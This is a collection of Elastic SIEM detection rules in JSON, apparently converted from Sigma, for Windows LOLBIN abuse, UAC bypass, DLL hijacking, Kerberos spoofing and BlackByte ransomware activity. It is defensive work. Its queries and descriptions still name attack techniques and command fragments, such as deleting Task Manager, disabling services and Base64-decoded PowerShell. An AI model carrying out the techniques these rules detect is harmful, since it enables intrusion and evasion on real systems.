{"description": "TeamViewer_Desktop.exe is create during install", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1f2f88a6-79f2-6d01-2d9a-533cb1fec850", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Installation of TeamViewer Desktop", "query": "file.path:*\\\\TeamViewer_Desktop.exe", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1219"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "The .SettingContent-ms file type was introduced in Windows 10 and allows a user to create \"shortcuts\" to various Windows 10 setting pages. These files are simply XML and contain paths to various Windows 10 settings binaries.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4f38e6cd-7a10-a255-7904-3eb842c394e2", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Arbitrary Shell Command Execution Via Settingcontent-Ms", "query": "(process.command_line:*.SettingContent\\-ms* AND (NOT (process.command_line:*immersivecontrolpanel*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1204", "T1566"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1566", "name": "Phishing", "reference": ""}]}, {"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Sreeman"], "license": ""}
{"description": "The \"AdPlus.exe\" binary that is part of the Windows SDK can be used as a lolbin to dump process memory and execute arbitrary commands", "enabled": false, "false_positives": ["Legitimate usage of Adplus"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a680b21a-07c2-3662-32da-3f05e455450e", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Use of Adplus.exe", "query": "((process.executable:*\\\\adplus.exe OR winlog.event_data.OriginalFileName:\"Adplus.exe\") AND process.command_line:(*\\ \\-hang\\ * OR *\\ \\-pn\\ * OR *\\ \\-pmn\\ * OR *\\ \\-p\\ * OR *\\ \\-po\\ * OR *\\ \\-c\\ * OR *\\ \\-sc\\ *))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1003"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "The \"ScriptRunner.exe\" binary can be abused to porxy execution through it and bypass possible whitelisting", "enabled": false, "false_positives": ["Legitimate use when App-v is deployed"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3168f886-5b40-01ee-2782-84b8b63bd42d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Use of Scriptrunner.exe", "query": "((process.executable:*\\\\ScriptRunner.exe OR winlog.event_data.OriginalFileName:\"ScriptRunner.exe\") AND process.command_line:*\\ \\-appvscript\\ *)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "The \"Squirrel.exe\" binary that is part of multiple softwares (Slack, Teams, Discord...etc) can be used as a LOLBIN", "enabled": false, "false_positives": ["See rule (fa4b21c9-0057-4493-b289-2556416ae4d7) for possible FPs"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "257115b0-b25a-98f2-efc8-b1e0197f3e78", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Use of Squirrel.exe", "query": "(process.executable:*\\\\squirrel.exe AND process.command_line:(*\\ \\-\\-download\\ * OR *\\ \\-\\-update\\ * OR *\\ \\-\\-updateRollback\\=*) AND process.command_line:*http*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "The \"Trace log generation tool for Media Foundation Tools\" (Mftrace.exe) can be used to execute arbitrary binaries", "enabled": false, "false_positives": ["Legitimate use for tracing purposes"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7aeaf006-dac9-11c5-ef93-1af02377d4be", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Use of Mftrace.exe", "query": "(((process.executable:*\\\\mftrace.exe OR winlog.event_data.OriginalFileName:\"mftrace.exe\") AND (process.command_line:*.exe\\ * AND process.command_line:*.exe)) OR process.parent.executable:*\\\\mftrace.exe)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1127"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1127", "name": "Trusted Developer Utilities Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "The \"VSIISExeLauncher.exe\" binary part of the Visual Studio/VS Code can be used to execute arbitrary binaries", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3e04e8f0-7d35-d892-0187-32991af8a95c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Use of VSIISExeLauncher.exe", "query": "((process.executable:*\\\\VSIISExeLauncher.exe OR winlog.event_data.OriginalFileName:\"VSIISExeLauncher.exe\") AND process.command_line:(*\\ \\-p\\ * OR *\\ \\-a\\ *))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1127"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1127", "name": "Trusted Developer Utilities Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "The attacker creates a computer object using those permissions with a password known to her.\nAfter that she clears the attribute ServicePrincipalName on the computer object.\nBecause she created the object (CREATOR OWNER), she gets granted additional permissions and can do many changes to the object.\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a76ee185-a174-b455-c618-d86489addf39", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Exploit SamAccountName Spoofing with Kerberos", "query": "(winlog.channel:\"System\" AND ((Provider_Name:\"Microsoft\\-Windows\\-Kerberos\\-Key\\-Distribution\\-Center\" AND winlog.event_id:(\"35\" OR \"36\" OR \"37\" OR \"38\")) OR (Provider_Name:\"Microsoft\\-Windows\\-Directory\\-Services\\-SAM\" AND winlog.event_id:(\"16990\" OR \"16991\"))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1558"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1558", "name": "Steal or Forge Kerberos Tickets", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "The attacker might use LOLBAS nltest.exe for discovery of domain controllers, domain trusts, parent domain and the current user permissions.", "enabled": false, "false_positives": ["Red team activity", "Rare legitimate use by an administrator"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bd406ee4-abbf-7b65-d66a-9f1e6e2746d0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Correct Execution of Nltest.exe", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4689\" AND winlog.event_data.ProcessName:*nltest.exe AND winlog.event_data.Status:\"0x0\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1016", "T1018", "T1482"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1016", "name": "System Network Configuration Discovery", "reference": ""}, {"id": "T1018", "name": "Remote System Discovery", "reference": ""}, {"id": "T1482", "name": "Domain Trust Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Arun Chauhan"], "license": ""}
{"description": "The Devtoolslauncher.exe executes other binary", "enabled": false, "false_positives": ["Legitimate use of devtoolslauncher.exe by legitimate user"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "35ad131f-7201-dcfb-c39b-7f8a3703b58d", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Devtoolslauncher.exe Executes Specified Binary", "query": "(process.executable:*\\\\devtoolslauncher.exe AND process.command_line:*LaunchForDeploy*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Beyu Denis", "oscd.community (rule)", "@_felamos (idea)"], "license": ""}
{"description": "The Directory Service Restore Mode (DSRM) account is a local administrator account on Domain Controllers. Attackers may change the password to gain persistence.", "enabled": false, "false_positives": ["Initial installation of a domain controller"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b13b10e3-4445-1ba5-fd30-4c687967e72f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Password Change on Directory Service Restore Mode (DSRM) Account", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4794\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1098"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1098", "name": "Account Manipulation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke"], "license": ""}
{"description": "The DNS Z flag is bit within the DNS protocol header that is, per the IETF design, meant to be used reserved (unused). Although recently it has been used in DNSSec, the value being set to anything other than 0 should be rare. Otherwise if it is set to non 0 and DNSSec is being used, then excluding the legitimate domains is low effort and high reward. Determine if multiple of these files were accessed in a short period of time to further enhance the possibility of seeing if this was a one off or the possibility of larger sensitive file gathering. This Sigma query is designed to accompany the Corelight Threat Hunting Guide, which can be found here: ", "enabled": false, "false_positives": ["Internal or legitimate external domains using DNSSec. Verify if these are legitimate DNSSec domains and then exclude them.", "If you work in a Public Sector then it may be good to exclude things like endswith \".edu\", \".gov\" and or \".mil\""], "filters": [], "from": "now-360s", "immutable": false, "index": ["*ecs-*"], "interval": "5m", "rule_id": "66740a87-a46c-379e-9fdd-371f4833360c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious DNS Z Flag Bit Set", "query": "(event.dataset:\"dns\" AND ((NOT (dns.Z.text:\"0\")) AND dns.question.name:*.*) AND (NOT ((dns.question.name:(*.arpa OR *.local OR *.ultradns.net OR *.twtrdns.net OR *.azuredns\\-prd.info OR *.azure\\-dns.com OR *.azuredns\\-ff.info OR *.azuredns\\-ff.org OR *.azuregov\\-dns.org) OR dns.question.type.text:(\"NS\" OR \"ns\" OR \"MX\" OR \"mx\") OR dns.answers.name:*\\\\x00 OR destination.port:(\"137\" OR \"138\" OR \"139\")))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1095", "T1571"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["@neu5ron", "SOC Prime Team", "Corelight"], "license": ""}
{"description": "The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.", "enabled": false, "false_positives": ["Legitimate PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e3227f5d-48ea-10ae-76b8-d46ec4960a03", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Get-ADReplAccount", "query": "(powershell.file.script_block_text:*Get\\-ADReplAccount* AND powershell.file.script_block_text:*\\-All\\ * AND powershell.file.script_block_text:*\\-Server\\ *)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "The Fax service attempts to load ualapi.dll, which is non-existent. An attacker can then (side)load their own malicious DLL using this service.", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "30e5c44e-9d41-faf6-6fd3-a74d1f02fc47", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Fax Service DLL Search Order Hijack", "query": "((process.executable:*\\\\fxssvc.exe AND file.path:*ualapi.dll) AND (NOT (file.path:C\\:\\\\Windows\\\\WinSxS\\\\*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1574", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["NVISO"], "license": ""}
{"description": "The FSharp Interpreters, FsiAnyCpu.exe and FSi.exe, can be used for AWL bypass and is listed in Microsoft recommended block rules.", "enabled": false, "false_positives": ["Legitimate use by a software developer."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8f46a549-144f-df24-7c1c-717e7e8847c8", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Use of FSharp Interpreters", "query": "(process.executable:*\\\\fsianycpu.exe OR winlog.event_data.OriginalFileName:\"fsianycpu.exe\" OR process.executable:*\\\\fsi.exe OR winlog.event_data.OriginalFileName:\"fsi.exe\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Christopher Peacock @SecurePeacock", "SCYTHE @scythe_io"], "license": ""}
{"description": "The infrastructure for management data and operations that enables local and remote management of Windows personal computers and servers", "enabled": false, "false_positives": ["Legitimate PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5327a8ef-56a6-b579-e536-d5e8c71b1222", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Get-WmiObject", "query": "powershell.file.script_block_text:(*Get\\-WmiObject* OR *gwmi*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "The 'LsaRegisterLogonProcess' function verifies that the application making the function call is a logon process by checking that it has the SeTcbPrivilege privilege set. Possible Rubeus tries to get a handle to LSA.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c82ebb83-b43f-1989-1307-e7541a295ccb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "User Couldn't Call a Privileged Service 'LsaRegisterLogonProcess'", "query": "(winlog.channel:\"Security\" AND Provider_Name:\"Microsoft\\-Windows\\-Security\\-Auditing\" AND winlog.event_id:\"4673\" AND Service:\"LsaRegisterLogonProcess\$\$\" AND Keywords:\"0x8010000000000000\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "Privilege Escalation", "T1558"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (source)", "Ilyas Ochkov (rule)", "oscd.community"], "license": ""}
{"description": "The OpenWith.exe executes other binary", "enabled": false, "false_positives": ["Legitimate use of OpenWith.exe by legitimate user"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d610046c-3f7d-4c6d-dfb4-38f764779c9f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "OpenWith.exe Executes Specified Binary", "query": "(process.executable:*\\\\OpenWith.exe AND process.command_line:*\\/c*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Beyu Denis", "oscd.community (rule)", "@harr0ey (idea)"], "license": ""}
{"description": "The psr.exe captures desktop screenshots and saves them on the local machine", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d05e05f0-174d-4549-3b7b-5113d2d61d92", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Psr.exe Capture Screenshots", "query": "(process.executable:*\\\\Psr.exe AND process.command_line:*\\/start*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1113"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1113", "name": "Screen Capture", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Beyu Denis", "oscd.community"], "license": ""}
{"description": "The Reset-ComputerMachinePassword cmdlet changes the computer account password that the computers use to authenticate to the domain controllers in the domain. You can use it to reset the password of the local computer.", "enabled": false, "false_positives": ["Administrator PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "662ce9a8-027d-c4bf-79fb-6290a8b42602", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Computer Machine Password by PowerShell", "query": "ContextInfo:*Reset\\-ComputerMachinePassword*", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1078"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "The Tasks folder in system32 and syswow64 are globally writable paths. Adversaries can take advantage of this and load or influence any script hosts or ANY .NET Application in Tasks to load and execute a custom assembly into cscript, wscript, regsvr32, mshta, eventvwr", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1a3e19ec-e9fa-2bfc-147c-53f7916d74e1", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Tasks Folder Evasion", "query": "(process.command_line:(*echo\\ * OR *copy\\ * OR *type\\ * OR *file\\ createnew*) AND process.command_line:(*\\ C\\:\\\\Windows\\\\System32\\\\Tasks\\\\* OR *\\ C\\:\\\\Windows\\\\SysWow64\\\\Tasks\\\\*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Sreeman"], "license": ""}
{"description": "The Windows Firewall service failed to load Group Policy.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "17454dc2-f767-b96d-1b83-e731df140363", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Failed to Load Policy in Windows Firewall with Advanced Security", "query": "winlog.event_id:\"2009\"", "meta": {"from": "1m"}, "severity": "low", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["(v=ws.10)"], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "The Workflow Command-line Compiler can be used for AWL bypass and is listed in Microsoft's recommended block rules.", "enabled": false, "false_positives": ["Legitimate use by a software developer"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8b472705-c016-36aa-b9ef-e81a505a9260", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Use of Wfc.exe", "query": "(process.executable:*\\\\wfc.exe OR winlog.event_data.OriginalFileName:\"wfc.exe\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1127"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1127", "name": "Trusted Developer Utilities Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Christopher Peacock @SecurePeacock", "SCYTHE @scythe_io"], "license": ""}
{"description": "There is an auto-elevated task called SilentCleanup located in %windir%\\system32\\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "87acf7fd-e37d-cd45-83b6-71f8b50c3b6c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Bypass UAC Using SilentCleanup Task", "query": "(winlog.event_data.TargetObject:*\\\\Environment\\\\windir AND winlog.event_data.Details:*&REM* AND winlog.event_data.EventType:\"SetValue\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "There is an option for a MS VS Just-In-Time Debugger \"vsjitdebugger.exe\" to launch specified executable and attach a debugger. This option may be used adversaries to execute malicious code by signed verified binary. The debugger is installed alongside with Microsoft Visual Studio package.", "enabled": false, "false_positives": ["The process spawned by vsjitdebugger.exe is uncommon."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9bbe4add-b3ba-4f66-02b9-c1f38b7412ed", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Malicious PE Execution by Microsoft Visual Studio Debugger", "query": "(process.parent.executable.text:*\\\\vsjitdebugger.exe AND (NOT ((process.executable.text:*\\\\vsimmersiveactivatehelper*.exe OR process.executable.text:*\\\\devenv.exe))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Agro (@agro_sev)", "Ensar \u015eamil (@sblmsrsn)", "oscd.community"], "license": ""}
{"description": "This command line patterns found in BlackByte Ransomware operations", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1ed6e86b-fb9c-207d-1196-9e07a2c6986d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "BlackByte Ransomware Patterns", "query": "((process.executable:C\\:\\\\Users\\\\Public\\\\* AND process.command_line:*\\ \\-single\\ *) OR process.command_line:(*del\\ C\\:\\\\Windows\\\\System32\\\\Taskmgr.exe* OR *;Set\\-Service\\ \\-StartupType\\ Disabled\\ $* OR *powershell\\ \\-command\\ \\\"$x\\ \\=\\[System.Text.Encoding\\]\\:\\:Unicode.GetString\\(\\[System.Convert\\]\\:\\:FromBase64String\\(* OR *\\ do\\ start\\ wordpad.exe\\ \\/p\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes", "author": ["Samir Bousseaden", "@neu5ron", "Tim Shelton"], "enabled": false, "false_positives": ["Update the excluded named pipe to filter out any newly observed legit named pipe"], "filters": [], "from": "now-360s", "immutable": false, "index": ["*ecs-*"], "interval": "5m", "rule_id": "025023ce-3ec9-05e6-b9a7-3a08534c162f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "First Time Seen Remote Named Pipe - Zeek", "query": "(event.dataset:\"smb_files\" AND file.path:\\\\\\\\\\*\\\\IPC$ AND (NOT (((*samr*) OR (*lsarpc*) OR (*winreg*) OR (*netlogon*) OR (*srvsvc*) OR (*protected_storage*) OR (*wkssvc*) OR (*browser*) OR (*netdfs*) OR (*svcctl*) OR (*spoolss*) OR (*ntsvcs*) OR (*LSM_API_service*) OR (*HydraLsPipe*) OR (*TermSrv_API_service*) OR (*MsFteWds*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes", "enabled": false, "false_positives": ["update the excluded named pipe to filter out any newly observed legit named pipe"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9d82bb6f-53a3-5997-ccfb-a86cef6c34d3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "First Time Seen Remote Named Pipe", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:\"5145\" AND winlog.event_data.ShareName:\\\\\\*\\\\IPC$) AND (NOT (winlog.event_data.RelativeTargetName:(\"atsvc\" OR \"samr\" OR \"lsarpc\" OR \"lsass\" OR \"winreg\" OR \"netlogon\" OR \"srvsvc\" OR \"protected_storage\" OR \"wkssvc\" OR \"browser\" OR \"netdfs\" OR \"svcctl\" OR \"spoolss\" OR \"ntsvcs\" OR \"LSM_API_service\" OR \"HydraLsPipe\" OR \"TermSrv_API_service\" OR \"MsFteWds\" OR \"sql\\\\query\"))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1021"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Samir Bousseaden"], "license": ""}
